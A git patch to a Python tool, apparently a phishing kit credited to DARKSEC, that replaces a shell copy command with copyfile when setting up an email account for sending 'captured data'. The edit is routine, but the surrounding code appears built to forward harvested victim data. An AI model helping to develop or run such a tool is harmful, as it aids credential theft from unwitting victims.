From 8999527109d735ea10e968b20d01a6edfe9900a9 Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Sat, 9 May 2020 19:33:45 +0300 Subject: [PATCH] Fixed file copying in Email Prompt --- Defs/FeatureManager/EmailManager/email_prompt.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Defs/FeatureManager/EmailManager/email_prompt.py b/Defs/FeatureManager/EmailManager/email_prompt.py index 8a62c6c..c3b7476 100644 --- a/Defs/FeatureManager/EmailManager/email_prompt.py +++ b/Defs/FeatureManager/EmailManager/email_prompt.py @@ -1,4 +1,4 @@ -from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait, path, system, getpass, base64 +from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait, path, system, getpass, base64, copyfile import Defs.ThemeManager.theme as theme import Defs.ActionManager.simple_informant as simple_informant @@ -58,7 +58,8 @@ def captured_data_email_configuration_prompt(): {1}http://github.com/darksecdevelopers {0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2])) print("-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4])) - run_command('cp Defs/Send_Email/EmailConfigDefault.py Defs/Send_Email/emailconfig.py') + #run_command('cp Defs/Send_Email/EmailConfigDefault.py Defs/Send_Email/emailconfig.py') + copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py', 'Defs/FeatureManager/EmailManager/emailconfig.py') GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4])) with open('Defs/Send_Email/emailconfig.py') as f: read_data = f.read()